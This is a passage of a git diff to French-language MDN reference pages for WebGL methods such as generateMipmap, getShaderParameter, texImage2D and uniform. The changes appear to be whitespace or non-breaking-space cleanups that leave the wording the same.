sommet, nous sommes prêts à dessiner la forme en appelant {{domxref ("WebGLRenderingContext.drawArrays", "drawArrays()")}}. @@ -106,7 +106,7 @@ Avec l'association définie entre le tampon des sommets de notre forme et l'attr ## Voir aussi -- [Données en WebGL](/fr-FR/docs/Web/API/WebGL_API/Data) -- [Ajout de contenu 2D à un contexte WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context) -- [Un exemple d'animation WebGL 2D de base](/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example) +- [Données en WebGL](/fr-FR/docs/Web/API/WebGL_API/Data) +- [Ajout de contenu 2D à un contexte WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context) +- [Un exemple d'animation WebGL 2D de base](/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example) - {{domxref("WebGLRenderingContext.disableVertexAttribArray", "disableVertexAttribArray()")}} diff --git a/files/fr/web/api/webglrenderingcontext/generatemipmap/index.md b/files/fr/web/api/webglrenderingcontext/generatemipmap/index.md index c9d4cdbca6..a034a62dd0 100644 --- a/files/fr/web/api/webglrenderingcontext/generatemipmap/index.md +++ b/files/fr/web/api/webglrenderingcontext/generatemipmap/index.md @@ -12,9 +12,9 @@ translation_of: Web/API/WebGLRenderingContext/generateMipmap --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.generateMipmap()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) génère un ensemble de mipmaps pour un objet {{domxref("WebGLTexture")}}. +La méthode **`WebGLRenderingContext.generateMipmap()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) génère un ensemble de mipmaps pour un objet {{domxref("WebGLTexture")}}. -Les mipmaps sont utilisées pour créer de la distance avec des objets. Une mipmap de haute résolution est utilisée pour les objets qui sont proches, et une mipmap de résolution inférieure est utilisée pour les objets qui sont plus éloignés. Elles commencent avec la résolution de l'image de texture, puis la résolution est divisée par deux jusqu'à ce qu'une image de texture de dimension 1x1 soit créée. +Les mipmaps sont utilisées pour créer de la distance avec des objets. Une mipmap de haute résolution est utilisée pour les objets qui sont proches, et une mipmap de résolution inférieure est utilisée pour les objets qui sont plus éloignés. Elles commencent avec la résolution de l'image de texture, puis la résolution est divisée par deux jusqu'à ce qu'une image de texture de dimension 1x1 soit créée. ## Syntaxe @@ -24,14 +24,14 @@ Les mipmaps sont utilisées pour créer de la distance avec des objets. Une mipm - cible - - : Un {{domxref("GLenum")}} indiquant le point de liaison (cible) de la texture active dont les mipmaps seront générées. Valeurs possibles : + - : Un {{domxref("GLenum")}} indiquant le point de liaison (cible) de la texture active dont les mipmaps seront générées. Valeurs possibles : - - `gl.TEXTURE_2D` : une texture bi-dimensionnelle. - - `gl.TEXTURE_CUBE_MAP` : une texture appliquée sur un cube. - - Lorsqu'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} est utilisé, les valeurs suivantes sont en outre disponibles : + - `gl.TEXTURE_2D` : une texture bi-dimensionnelle. + - `gl.TEXTURE_CUBE_MAP` : une texture appliquée sur un cube. + - Lorsqu'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} est utilisé, les valeurs suivantes sont en outre disponibles : - - `gl.TEXTURE_3D` : une texture tri-dimensionnelle. - - `gl.TEXTURE_2D_ARRAY` : une texture bi-dimensionnelle en tableau. + - `gl.TEXTURE_3D` : une texture tri-dimensionnelle. + - `gl.TEXTURE_2D_ARRAY` : une texture bi-dimensionnelle en tableau. ### Valeur retournée @@ -47,9 +47,9 @@ gl.generateMipmap(gl.TEXTURE_2D); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------------------------------------------------------------------------------------------- | -| {{SpecName('WebGL', "#5.14.8", "generateMipmap")}} | {{Spec2('WebGL')}} | Définition initiale pour WebGL. | +| {{SpecName('WebGL', "#5.14.8", "generateMipmap")}} | {{Spec2('WebGL')}} | Définition initiale pour WebGL. | | {{SpecName('OpenGL ES 2.0', "glGenerateMipmap.xml", "glGenerateMipmap")}} | {{Spec2('OpenGL ES 2.0')}} | Page man de l'API (similaire) d'OpenGL ES 2.0. | -| {{SpecName('OpenGL ES 3.0', "glGenerateMipmap.xhtml", "glGenerateMipmap")}} | {{Spec2('OpenGL ES 3.0')}} | Page man de l'API (similaire) d'OpenGL ES 3.0 Ajoute : `gl.TEXTURE_3D` et `gl.TEXTURE_2D_ARRAY` | +| {{SpecName('OpenGL ES 3.0', "glGenerateMipmap.xhtml", "glGenerateMipmap")}} | {{Spec2('OpenGL ES 3.0')}} | Page man de l'API (similaire) d'OpenGL ES 3.0 Ajoute : `gl.TEXTURE_3D` et `gl.TEXTURE_2D_ARRAY` | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/webglrenderingcontext/getattriblocation/index.md b/files/fr/web/api/webglrenderingcontext/getattriblocation/index.md index 8242d0739b..8bb49977b6 100644 --- a/files/fr/web/api/webglrenderingcontext/getattriblocation/index.md +++ b/files/fr/web/api/webglrenderingcontext/getattriblocation/index.md @@ -20,13 +20,13 @@ La méthode **`WebGLRenderingContext.getAttribLocation()`** de l'[API WebGL](/fr ### Paramètres - programme - - : Un {{domxref("WebGLProgram")}} contenant la variable d'attribut. + - : Un {{domxref("WebGLProgram")}} contenant la variable d'attribut. - nom - - : Un {{domxref("DOMString")}} indiquant le nom de la variable d'attribut dont l'emplacement est à retourner. + - : Un {{domxref("DOMString")}} indiquant le nom de la variable d'attribut dont l'emplacement est à retourner. ### Valeur retournée -Un nombre {{domxref("GLint")}} indiquant l'emplacement du nom de la variable si trouvé. Retourne -1 sinon. +Un nombre {{domxref("GLint")}} indiquant l'emplacement du nom de la variable si trouvé. Retourne -1 sinon. ## Exemples diff --git a/files/fr/web/api/webglrenderingcontext/geterror/index.md b/files/fr/web/api/webglrenderingcontext/geterror/index.md index cd310e0a29..3831b1a753 100644 --- a/files/fr/web/api/webglrenderingcontext/geterror/index.md +++ b/files/fr/web/api/webglrenderingcontext/geterror/index.md @@ -31,7 +31,7 @@ Aucun. | `gl.INVALID_OPERATION` | La commande indiquée n'est pas permise dans l'état courant. La commande est ignorée et l'indicateur d'erreur est positionné. | | `gl.INVALID_FRAMEBUFFER_OPERATION` | Le tampon d'images actuellement lié n'est pas complet lors d'une tentative de rendu ou de relecture. | | `gl.OUT_OF_MEMORY` | Plus assez de mémoire restante pour exécuter la commande. | -| `gl.CONTEXT_LOST_WEBGL` | Si le contexte WebGL est perdu, cette erreur est retournée lors du premier appel à `getError`. Après cela et jusqu'à ce que le contexte soit restauré, elle retourne `gl.NO_ERROR`. | +| `gl.CONTEXT_LOST_WEBGL` | Si le contexte WebGL est perdu, cette erreur est retournée lors du premier appel à `getError`. Après cela et jusqu'à ce que le contexte soit restauré, elle retourne `gl.NO_ERROR`. | ## Exemples diff --git a/files/fr/web/api/webglrenderingcontext/getshaderparameter/index.md b/files/fr/web/api/webglrenderingcontext/getshaderparameter/index.md index e89237d889..884ccb5545 100644 --- a/files/fr/web/api/webglrenderingcontext/getshaderparameter/index.md +++ b/files/fr/web/api/webglrenderingcontext/getshaderparameter/index.md @@ -25,13 +25,13 @@ La méthode `WebGLRenderingContext.getShaderParameter()` de l'API WebGL retourne - : Un {{domxref("Glenum")}} indiquant l'information à retrouver. Valeurs possibles : - - `gl.DELETE_STATUS` : retourne un {{domxref("GLboolean")}} indicating si le shader est marqué pour suppression ou non. - - `gl.COMPILE_STATUS` : retourne un {{domxref("GLboolean")}} indiquant si la dernière compilation du shader a réussi ou non. - - `gl.SHADER_TYPE` : retourne un {{domxref("GLenum")}} indiquant si le shader est un objet shader de sommets (`gl.VERTEX_SHADER`) ou shader de fragment (`gl.FRAGMENT_SHADER`). + - `gl.DELETE_STATUS` : retourne un {{domxref("GLboolean")}} indicating si le shader est marqué pour suppression ou non. + - `gl.COMPILE_STATUS` : retourne un {{domxref("GLboolean")}} indiquant si la dernière compilation du shader a réussi ou non. + - `gl.SHADER_TYPE` : retourne un {{domxref("GLenum")}} indiquant si le shader est un objet shader de sommets (`gl.VERTEX_SHADER`) ou shader de fragment (`gl.FRAGMENT_SHADER`). ### Valeur retournée -Retourne l'information de shader demandée (telle qu'indiquée par `nomp`). +Retourne l'information de shader demandée (telle qu'indiquée par `nomp`). ## Exemples @@ -44,7 +44,7 @@ gl.getShaderParameter(shader, gl.SHADER_TYPE); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------- | ------------------------------------ | ------------------------------------- | | {{SpecName('WebGL', "#5.14.9", "getShaderParameter")}} | {{Spec2('WebGL')}} | Définition initiale. | -| {{SpecName('OpenGL ES 2.0', "glGetShaderiv.xml", "glGetShaderiv")}} | {{Spec2('OpenGL ES 2.0')}} | Page man de l'API OpenGL (similaire). | +| {{SpecName('OpenGL ES 2.0', "glGetShaderiv.xml", "glGetShaderiv")}} | {{Spec2('OpenGL ES 2.0')}} | Page man de l'API OpenGL (similaire). | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/webglrenderingcontext/gettexparameter/index.md b/files/fr/web/api/webglrenderingcontext/gettexparameter/index.md index 38342d8c00..c6c8478a87 100644 --- a/files/fr/web/api/webglrenderingcontext/gettexparameter/index.md +++ b/files/fr/web/api/webglrenderingcontext/gettexparameter/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/WebGLRenderingContext/getTexParameter --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.getTexParameter()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) retourne des informations concernant la texture indiquée. +La méthode **`WebGLRenderingContext.getTexParameter()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) retourne des informations concernant la texture indiquée. ## Syntaxe @@ -22,18 +22,18 @@ La méthode **`WebGLRenderingContext.getTexParameter()`** de l'[API WebGL](/fr - cible - - : Un {{domxref("GLenum")}} indiquant le point de liaison (cible). Valeurs possibles : + - : Un {{domxref("GLenum")}} indiquant le point de liaison (cible). Valeurs possibles : - - `gl.TEXTURE_2D` : une texture bi-dimensionnelle. - - `gl.TEXTURE_CUBE_MAP` : une texture appliquée à un cube. + - `gl.TEXTURE_2D` : une texture bi-dimensionnelle. + - `gl.TEXTURE_CUBE_MAP` : une texture appliquée à un cube. - Lorsqu' un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} est utilisé, les valeurs suivantes sont en outre disponibles : - - `gl.TEXTURE_3D` : une texture tri-dimensionnelle. - - `gl.TEXTURE_2D_ARRAY` : une texture bi-dimensionnelle en tableau. + - `gl.TEXTURE_3D` : une texture tri-dimensionnelle. + - `gl.TEXTURE_2D_ARRAY` : une texture bi-dimensionnelle en tableau. - nomp - - : Un {{domxref("Glenum")}} indiquant l'information à obtenir. Valeurs possibles : + - : Un {{domxref("Glenum")}} indiquant l'information à obtenir. Valeurs possibles : <table class="standard-table"> <thead> @@ -71,7 +71,7 @@ La méthode **`WebGLRenderingContext.getTexParameter()`** de l'[API WebGL](/fr <tr> <td><code>gl.TEXTURE_WRAP_S</code></td> <td>{{domxref("GLenum")}}</td> - <td>Fonction d'emballage pour la coordonnée de texture <code>s</code></td> + <td>Fonction d'emballage pour la coordonnée de texture <code>s</code></td> <td> <code>gl.REPEAT</code> (valeur par défaut), <code>gl.CLAMP_TO_EDGE</code>, <code>gl.MIRRORED_REPEAT</code>. @@ -107,7 +107,7 @@ La méthode **`WebGLRenderingContext.getTexParameter()`** de l'[API WebGL](/fr <tr> <td><code>gl.TEXTURE_BASE_LEVEL</code></td> <td>{{domxref("GLint")}}</td> - <td>Niveau de mipmap de texture</td> + <td>Niveau de mipmap de texture</td> <td>Toutes valeurs int.</td> </tr> <tr> @@ -144,7 +144,7 @@ La méthode **`WebGLRenderingContext.getTexParameter()`** de l'[API WebGL](/fr <tr> <td><code>gl.TEXTURE_MAX_LEVEL</code></td> <td>{{domxref("GLint")}}</td> - <td>Niveau maximum de mipmap de texture en tableau</td> + <td>Niveau maximum de mipmap de texture en tableau</td> <td>Toutes valeurs int.</td> </tr> <tr> @@ -163,7 +163,7 @@ La méthode **`WebGLRenderingContext.getTexParameter()`** de l'[API WebGL](/fr <td><code>gl.TEXTURE_WRAP_R</code></td> <td>{{domxref("GLenum")}}</td> <td> - Fonction d'emballage pour la coordonnée de texture <code>r</code> + Fonction d'emballage pour la coordonnée de texture <code>r</code> </td> <td> <code>gl.REPEAT</code> (valeur par défaut), @@ -175,7 +175,7 @@ La méthode **`WebGLRenderingContext.getTexParameter()`** de l'[API WebGL](/fr ### Valeur retournée -Retourne l'information de texture demandée (telle qu'indiquée par `nomp`). Si une erreur se produit, {{jsxref("null")}} est retourné. +Retourne l'information de texture demandée (telle qu'indiquée par `nomp`). Si une erreur se produit, {{jsxref("null")}} est retourné. ## Exemples diff --git a/files/fr/web/api/webglrenderingcontext/getuniformlocation/index.md b/files/fr/web/api/webglrenderingcontext/getuniformlocation/index.md index 27f389fd28..0d35e4663f 100644 --- a/files/fr/web/api/webglrenderingcontext/getuniformlocation/index.md +++ b/files/fr/web/api/webglrenderingcontext/getuniformlocation/index.md @@ -14,7 +14,7 @@ tags: - getUniformLocation translation_of: Web/API/WebGLRenderingContext/getUniformLocation --- -{{APIRef("WebGL")}}Faisant partie de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API), la méthode {{domxref("WebGLRenderingContext")}} **`getUniformLocation()`** retourne l'emplacement d'une variable **uniform** particulière appartenant au {{domxref ("WebGLProgram")}} indiqué. La variable uniform est retournée sous la forme d'un objet {{domxref("WebGLUniformLocation")}}, qui est un identificateur opaque utilisé pour indiquer où se trouve la variable uniform dans la mémoire de la GPU. Une fois que vous avez l'emplacement de l'uniform, vous pouvez accéder à l'uniform lui-même en utilisant l'une des autres méthodes d'accès uniform, en passant l'emplacement de l'uniform comme l'une des entrées : +{{APIRef("WebGL")}}Faisant partie de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API), la méthode {{domxref("WebGLRenderingContext")}} **`getUniformLocation()`** retourne l'emplacement d'une variable **uniform** particulière appartenant au {{domxref ("WebGLProgram")}} indiqué. La variable uniform est retournée sous la forme d'un objet {{domxref("WebGLUniformLocation")}}, qui est un identificateur opaque utilisé pour indiquer où se trouve la variable uniform dans la mémoire de la GPU. Une fois que vous avez l'emplacement de l'uniform, vous pouvez accéder à l'uniform lui-même en utilisant l'une des autres méthodes d'accès uniform, en passant l'emplacement de l'uniform comme l'une des entrées : - {{domxref ("WebGLRenderingContext.getUniform", "getUniform()")}} - : Retourne la valeur de l'uniform à l'emplacement indiqué. @@ -40,9 +40,9 @@ L'uniform lui-même est déclaré dans le programme shader en utilisant GLSL. Une valeur {{domxref ("WebGLUniformLocation")}} indiquant l'emplacement de la variable nommée, si elle existe. Si la variable indiquée n'existe pas, {{jsxref("null")}} est retourné à la place. -`WebGLUniformLocation` est une valeur opaque utilisée pour identifier de manière unique l'emplacement dans la mémoire de la GPU auquel se trouve la variable uniform. Avec cette valeur en main, vous pouvez appeler d'autres méthodes WebGL pour accéder à la valeur de la variable uniform. +`WebGLUniformLocation` est une valeur opaque utilisée pour identifier de manière unique l'emplacement dans la mémoire de la GPU auquel se trouve la variable uniform. Avec cette valeur en main, vous pouvez appeler d'autres méthodes WebGL pour accéder à la valeur de la variable uniform. -> **Note :** Le type `WebGLUniformLocation` est compatible avec le type `GLint` pour indiquer l'indice ou l'emplacement d'un attribut uniform. +> **Note :** Le type `WebGLUniformLocation` est compatible avec le type `GLint` pour indiquer l'indice ou l'emplacement d'un attribut uniform. ### Erreurs diff --git a/files/fr/web/api/webglrenderingcontext/isbuffer/index.md b/files/fr/web/api/webglrenderingcontext/isbuffer/index.md index bc696a54f4..f0d72924e8 100644 --- a/files/fr/web/api/webglrenderingcontext/isbuffer/index.md +++ b/files/fr/web/api/webglrenderingcontext/isbuffer/index.md @@ -23,11 +23,11 @@ La méthode **`WebGLRenderingContext.isBuffer()`** de l'[API WebGL](/fr-FR/docs/ ### Valeur retournée -Un {{domxref("GLboolean")}} indiquant si le tampon est ou non valide. +Un {{domxref("GLboolean")}} indiquant si le tampon est ou non valide. ## Exemples -### Création d'un tampon +### Création d'un tampon ```js var canevas = document.getElementById('canevas'); diff --git a/files/fr/web/api/webglrenderingcontext/shadersource/index.md b/files/fr/web/api/webglrenderingcontext/shadersource/index.md index 91b7d1629e..d675986fd2 100644 --- a/files/fr/web/api/webglrenderingcontext/shadersource/index.md +++ b/files/fr/web/api/webglrenderingcontext/shadersource/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/WebGLRenderingContext/shaderSource --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.shaderSource()`** de l'[API WebGL](/en-US/docs/Web/API/WebGL_API) définit le code source d'un {{domxref("WebGLShader")}}. +La méthode **`WebGLRenderingContext.shaderSource()`** de l'[API WebGL](/en-US/docs/Web/API/WebGL_API) définit le code source d'un {{domxref("WebGLShader")}}. ## Syntaxe @@ -20,9 +20,9 @@ La méthode **`WebGLRenderingContext.shaderSource()`** de l'[API WebGL](/en-US/ ### Parameters - shader - - : Un objet {{domxref("WebGLShader")}} dans lequel définir le code source. + - : Un objet {{domxref("WebGLShader")}} dans lequel définir le code source. - source - - : Une {{domxref("DOMString")}} contenant le code source GLSL à définir. + - : Une {{domxref("DOMString")}} contenant le code source GLSL à définir. ### Valeur retournée diff --git a/files/fr/web/api/webglrenderingcontext/teximage2d/index.md b/files/fr/web/api/webglrenderingcontext/teximage2d/index.md index c8d54e80c9..2622f2ea20 100644 --- a/files/fr/web/api/webglrenderingcontext/teximage2d/index.md +++ b/files/fr/web/api/webglrenderingcontext/teximage2d/index.md @@ -40,24 +40,24 @@ La méthode **`WebGLRenderingContext.texImage2D()`** de l'[API WebGL](/fr-FR/doc - : Un {{domxref ("GLenum")}} indiquant le point de liaison (cible) de la texture active. Valeurs possibles : - `gl.TEXTURE_2D` : une texture bidimensionnelle ; - - `gl.TEXTURE_CUBE_MAP_POSITIVE_X` : face X positive pour une texture mappée sur un cube ; - - `gl.TEXTURE_CUBE_MAP_NEGATIVE_X` : face X négative pour une texture mappée sur un cube ; - - `gl.TEXTURE_CUBE_MAP_POSITIVE_Y` : face Y positive pour une texture mappée sur un cube ; - - `gl.TEXTURE_CUBE_MAP_NEGATIVE_Y` : face Y négative pour une texture mappée sur un cube ; + - `gl.TEXTURE_CUBE_MAP_POSITIVE_X` : face X positive pour une texture mappée sur un cube ; + - `gl.TEXTURE_CUBE_MAP_NEGATIVE_X` : face X négative pour une texture mappée sur un cube ; + - `gl.TEXTURE_CUBE_MAP_POSITIVE_Y` : face Y positive pour une texture mappée sur un cube ; + - `gl.TEXTURE_CUBE_MAP_NEGATIVE_Y` : face Y négative pour une texture mappée sur un cube ; - `gl.TEXTURE_CUBE_MAP_POSITIVE_Z` : face Z positive pour une texture mappée sur un cube ; - `gl.TEXTURE_CUBE_MAP_NEGATIVE_Z` : face Z négative pour une texture mappée sur un cube. - `niveau` - - : Un {{domxref ("GLint")}} indiquant le niveau de détail. Le niveau 0 est le niveau de l'image de base et le niveau n est le n-ième niveau de réduction du mipmap. + - : Un {{domxref ("GLint")}} indiquant le niveau de détail. Le niveau 0 est le niveau de l'image de base et le niveau n est le n-ième niveau de réduction du mipmap. - `formatinterne` - : Un {{domxref ("GLint")}} indiquant les composantes de couleur dans la texture. Valeurs possibles : - - `gl.ALPHA` : ignore les composantes rouge, vert et bleu, et lit la composante alpha ; - - `gl.RGB` : ignore la composante alpha et lit les composantes rouge, vert et bleu ; - - `gl.RGBA` : les composantes rouge, vert, bleu et alpha sont lues à partir du tampon des couleurs ; - - `gl.LUMINANCE` : chaque composante de couleur est une composante de luminance, alpha vaut 1,0 ; - - `gl.LUMINANCE_ALPHA` : chaque composante est une composante de luminance/alpha ; + - `gl.ALPHA` : ignore les composantes rouge, vert et bleu, et lit la composante alpha ; + - `gl.RGB` : ignore la composante alpha et lit les composantes rouge, vert et bleu ; + - `gl.RGBA` : les composantes rouge, vert, bleu et alpha sont lues à partir du tampon des couleurs ; + - `gl.LUMINANCE` : chaque composante de couleur est une composante de luminance, alpha vaut 1,0 ; + - `gl.LUMINANCE_ALPHA` : chaque composante est une composante de luminance/alpha ; - lors de l'utilisation de l'extension {{domxref("WEBGL_depth_texture")}} : - `gl.DEPTH_COMPONENT` @@ -109,10 +109,10 @@ La méthode **`WebGLRenderingContext.texImage2D()`** de l'[API WebGL](/fr-FR/doc - : Un {{domxref("GLenum")}} indiquant le type de données des données de texel. Valeurs possibles : - - `gl.UNSIGNED_BYTE` : 8 bits par canal pour `gl.RGBA` ; - - `gl.UNSIGNED_SHORT_5_6_5` : 5 bits de rouge, 6 bits de vert, 5 bits de bleu ; - - `gl.UNSIGNED_SHORT_4_4_4_4` : 4 bits de rouge, 4 bits de vert, 4 bits de bleu, 4 bits d'alpha ; - - `gl.UNSIGNED_SHORT_5_5_5_1` : 5 bits de rouge, 5 bits de vert, 5 bits de bleu, 1 bit d'alpha ; + - `gl.UNSIGNED_BYTE` : 8 bits par canal pour `gl.RGBA` ; + - `gl.UNSIGNED_SHORT_5_6_5` : 5 bits de rouge, 6 bits de vert, 5 bits de bleu ; + - `gl.UNSIGNED_SHORT_4_4_4_4` : 4 bits de rouge, 4 bits de vert, 4 bits de bleu, 4 bits d'alpha ; + - `gl.UNSIGNED_SHORT_5_5_5_1` : 5 bits de rouge, 5 bits de vert, 5 bits de bleu, 1 bit d'alpha ; - lors de l'utilisation de l'extension {{domxref ("WEBGL_depth_texture")}} : - `gl.UNSIGNED_SHORT` @@ -140,7 +140,7 @@ La méthode **`WebGLRenderingContext.texImage2D()`** de l'[API WebGL](/fr-FR/doc - `gl.UNSIGNED_INT_10F_11F_11F_REV` - `gl.UNSIGNED_INT_5_9_9_9_REV` - `gl.UNSIGNED_INT_24_8` - - `gl.FLOAT_32_UNSIGNED_INT_24_8_REV` (les pixels doivent être {{jsxref("null")}}) + - `gl.FLOAT_32_UNSIGNED_INT_24_8_REV` (les pixels doivent être {{jsxref("null")}}) - `pixels` @@ -148,10 +148,10 @@ La méthode **`WebGLRenderingContext.texImage2D()`** de l'[API WebGL](/fr-FR/doc - {{domxref("ArrayBufferView")}}, - - un {{jsxref("Uint8Array")}} doit être utilisé si `type` est `gl.UNSIGNED_BYTE` ; - - un {{jsxref("Uint16Array")}} doit être utilisé si `type` est `gl.UNSIGNED_SHORT_5_6_5`, `gl.UNSIGNED_SHORT_4_4_4_4`, `gl.UNSIGNED_SHORT_5_5_5_1`, `gl.UNSIGNED_SHORT` ou `ext.HALF_FLOAT_OES` ; - - un {{jsxref("Uint32Array")}} doit être utilisé si `type` est `gl.UNSIGNED_INT` ou `ext.UNSIGNED_INT_24_8_WEBGL` ; - - un {{jsxref("Float32Array")}} doit être utilisé si `type` est `gl.FLOAT` ; + - un {{jsxref("Uint8Array")}} doit être utilisé si `type` est `gl.UNSIGNED_BYTE` ; + - un {{jsxref("Uint16Array")}} doit être utilisé si `type` est `gl.UNSIGNED_SHORT_5_6_5`, `gl.UNSIGNED_SHORT_4_4_4_4`, `gl.UNSIGNED_SHORT_5_5_5_1`, `gl.UNSIGNED_SHORT` ou `ext.HALF_FLOAT_OES` ; + - un {{jsxref("Uint32Array")}} doit être utilisé si `type` est `gl.UNSIGNED_INT` ou `ext.UNSIGNED_INT_24_8_WEBGL` ; + - un {{jsxref("Float32Array")}} doit être utilisé si `type` est `gl.FLOAT` ; - {{domxref("ImageData")}}, - {{domxref("HTMLImageElement")}}, @@ -160,7 +160,7 @@ La méthode **`WebGLRenderingContext.texImage2D()`** de l'[API WebGL](/fr-FR/doc - {{domxref("ImageBitmap")}}. - **`decalage`** - - : (WebGL 2 seulement) Un décalage en octets {{domxref("GLintptr")}} dans le magasin de données du {{domxref("WebGLBuffer")}}. Utilisé pour télécharger des données vers la {{domxref ("WebGLTexture")}} liée, depuis le `WebGLBuffer` lié à la cible `PIXEL_UNPACK_BUFFER`. + - : (WebGL 2 seulement) Un décalage en octets {{domxref("GLintptr")}} dans le magasin de données du {{domxref("WebGLBuffer")}}. Utilisé pour télécharger des données vers la {{domxref ("WebGLTexture")}} liée, depuis le `WebGLBuffer` lié à la cible `PIXEL_UNPACK_BUFFER`. ### Valeur retournée @@ -184,14 +184,14 @@ gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image); <tr> <td>{{SpecName('WebGL', "#5.14.8", "texImage2D")}}</td> <td>{{Spec2('WebGL')}}</td> - <td><p>Définition initiale pour WebGL.</p></td> + <td><p>Définition initiale pour WebGL.</p></td> </tr> <tr> <td> {{SpecName('OpenGL ES 2.0', "glTexImage2D.xml", "glTexImage2D")}} </td> <td>{{Spec2('OpenGL ES 2.0')}}</td> - <td><p>Page man de l’API OpenGL ES 2.0 (similaire).</p></td> + <td><p>Page man de l’API OpenGL ES 2.0 (similaire).</p></td> </tr> <tr> <td>{{SpecName('WebGL2', "#3.7.6", "texImage2D")}}</td> @@ -203,7 +203,7 @@ gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image); {{SpecName('OpenGL ES 3.0', "glTexImage2D.xhtml", "glTexImage2D")}} </td> <td>{{Spec2('OpenGL ES 3.0')}}</td> - <td>Page man de l’API OpenGL ES 3.0 (similaire).</td> + <td>Page man de l’API OpenGL ES 3.0 (similaire).</td> </tr> </tbody> </table> diff --git a/files/fr/web/api/webglrenderingcontext/texparameter/index.md b/files/fr/web/api/webglrenderingcontext/texparameter/index.md index 705a95ba60..83d82e2a4e 100644 --- a/files/fr/web/api/webglrenderingcontext/texparameter/index.md +++ b/files/fr/web/api/webglrenderingcontext/texparameter/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/WebGLRenderingContext/texParameter --- {{APIRef("WebGL")}} -Les méthodes **`WebGLRenderingContext.texParameter[fi]()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) définissent les paramètres de texture. +Les méthodes **`WebGLRenderingContext.texParameter[fi]()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) définissent les paramètres de texture. ## Syntaxe @@ -23,16 +23,16 @@ Les méthodes **`WebGLRenderingContext.texParameter[fi]()`** de l'[API WebGL]( - cible - - : Un {{domxref("GLenum")}} indiquant le point de liaison (cible). Valeurs possibles : + - : Un {{domxref("GLenum")}} indiquant le point de liaison (cible). Valeurs possibles : - - `gl.TEXTURE_2D` : une texture bi-dimensionelle. - - `gl.TEXTURE_CUBE_MAP` : une texte appliquée sur un cube. - - Lorsqu'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} est utilisé, les valeurs suivantes sont en outre disponibles : + - `gl.TEXTURE_2D` : une texture bi-dimensionelle. + - `gl.TEXTURE_CUBE_MAP` : une texte appliquée sur un cube. + - Lorsqu'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} est utilisé, les valeurs suivantes sont en outre disponibles : - - `gl.TEXTURE_3D` : une texture tri-dimensionnelle. - - `gl.TEXTURE_2D_ARRAY` : une texture bi-dimensionnelle en tableau. + - `gl.TEXTURE_3D` : une texture tri-dimensionnelle. + - `gl.TEXTURE_2D_ARRAY` : une texture bi-dimensionnelle en tableau. -Le paramètre `nomp` est un {{domxref("Glenum")}} indiquant le paramètre de texture à définir. Le paramètre `param` est un {{domxref("GLfloat")}} ou un {{domxref("GLint")}} indiquant la valeur pour le paramètre `nomp` indiqué. +Le paramètre `nomp` est un {{domxref("Glenum")}} indiquant le paramètre de texture à définir. Le paramètre `param` est un {{domxref("GLfloat")}} ou un {{domxref("GLint")}} indiquant la valeur pour le paramètre `nomp` indiqué. <table class="standard-table"> <thead> @@ -74,7 +74,7 @@ Le paramètre `nomp` est un {{domxref("Glenum")}} indiquant le paramètre de </tr> <tr> <td><code>gl.TEXTURE_WRAP_T</code></td> - <td>Fonction d'emballage pour la coordonnée de texture <code>t</code></td> + <td>Fonction d'emballage pour la coordonnée de texture <code>t</code></td> <td> <code>gl.REPEAT</code> (valeur par défaut),<code>gl.CLAMP_TO_EDGE</code>, <code>gl.MIRRORED_REPEAT</code>. @@ -137,7 +137,7 @@ Le paramètre `nomp` est un {{domxref("Glenum")}} indiquant le paramètre de <tr> <td><code>gl.TEXTURE_WRAP_R</code></td> <td> - Fonction d'emballage pour la coordonnée de texture <code>r</code> + Fonction d'emballage pour la coordonnée de texture <code>r</code> </td> <td> <code>gl.REPEAT</code> (valeur par défaut), diff --git a/files/fr/web/api/webglrenderingcontext/uniform/index.md b/files/fr/web/api/webglrenderingcontext/uniform/index.md index 6dea122f90..b1f460cf16 100644 --- a/files/fr/web/api/webglrenderingcontext/uniform/index.md +++ b/files/fr/web/api/webglrenderingcontext/uniform/index.md @@ -11,9 +11,9 @@ translation_of: Web/API/WebGLRenderingContext/uniform --- {{APIRef("WebGL")}} -Les méthodes **`WebGLRenderingContext.uniform[1234][fi][v]()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) indiquent les valeurs des variables uniform. +Les méthodes **`WebGLRenderingContext.uniform[1234][fi][v]()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) indiquent les valeurs des variables uniform. -> **Note :** Beaucoup des fonctions décrites ici ont des interfaces WebGL 2 étendues, qui peuvent être trouvées en {{domxref("WebGL2RenderingContext.uniform","WebGL2RenderingContext.uniform[1234][uif][v]()")}}. +> **Note :** Beaucoup des fonctions décrites ici ont des interfaces WebGL 2 étendues, qui peuvent être trouvées en {{domxref("WebGL2RenderingContext.uniform","WebGL2RenderingContext.uniform[1234][uif][v]()")}}. ## Syntaxe @@ -40,15 +40,15 